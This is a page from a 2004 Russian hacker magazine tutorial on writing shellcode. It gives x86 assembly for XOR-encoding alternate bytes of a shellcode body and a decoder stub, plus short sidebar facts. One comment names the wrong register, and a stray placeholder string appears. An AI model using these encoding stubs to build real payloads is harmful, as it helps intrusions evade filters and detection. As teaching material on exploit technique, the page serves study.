Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #45, АВГУСТ 2004 г.

Пишем shell-код!

Коваленко Дмитрий aka Ingrem

Спецвыпуск Xakep, номер #045, стр. 045-014-6


Листинг

Примерный код процедуры шифровки нечетных байт

; eax - адрес тела

; ecx - его длина

mov edx, eax

dec edx

add edx, ecx; теперь в ebx - адрес конца тела shell-кода

@@2: mov bl, byte ptr[eax] ; читаем очередной нечетный байт тела в bl

xor bl, XOR_KEY_EVEN ; ксорим его на XOR_KEY_EVEN

mov byte ptr[eax], bl ; записываем зашифрованный байт в тело

inc eax

inc eax; перемещаем указатель на следующий

; нечетный байт тела

cmp eax, edx ; достигнут ли конец тела shell-кода?

jng @@2; нет!

ret

Соответственно, расшифровывать будем так:

Листинг

exploit_head:

xor ecx, ecx

mov cl, expl_end-expl_start; в ecx - длина тела

mov eax, esp

add eax, expl_start-exploit_head; в eax - указатель на тело

mov edx, eax

dec edx

add edx, ecx; в edx - адрес конца тела

; процедура дешифровки полностью совпадает

; с процедурой шифрования – в этом и состоит вся

; прелесть XOR! ;-)))

@@2:mov bl, byte ptr[eax]

xor bl, XOR_KEY

mov byte ptr[eax], bl

inc eax

inc eax

cmp eax, edx

jng @@2

ret

; здесь может быть процедура для расшифровки

; четных байт (если она нужна).

......

expl_start:

; тут находится тело shell-кода

......

expl_end dd 0

Второе правило допускает вариации. Например, можно не шифровать сначала каждый нечетный, а потом каждый четный байт, а разделить тело shell-кода на две равные половинки. Длина каждой половинки будет меньше чем 255 байт, дальше см. правило 1.

Ну, вот и все. Теперь ты немного знаком с основными принципами написания shell-кода и, думаю, вооруженный этими знаниями, не наткнешься на стандартные грабли shell-кодописательства :-).

Для EXE-файлов системный exeption обработчик всегда находится в kernel32.dll.

Таблица имен – это массив двойных слов, каждое из которых указывает на строку с завершающим нулем, содержащую имя очередной экспортируемой API-функции. ХХХХХХХХХХХХХХХХХХХ

NOP – это однобайтная команда с опкодом 0x90, которая сама по себе ничего не делает.

Чаще всего голова размещается перед телом shell-кода, но это не обязательно.

Инструкции ADD и XOR используют в основном из-за того, что их действие обратимо.

В большинстве случаев на процедуры шифровки-дешифровки полкилобайта кода хватает за глаза ;-).

Назад на стр. 045-014-5  Содержание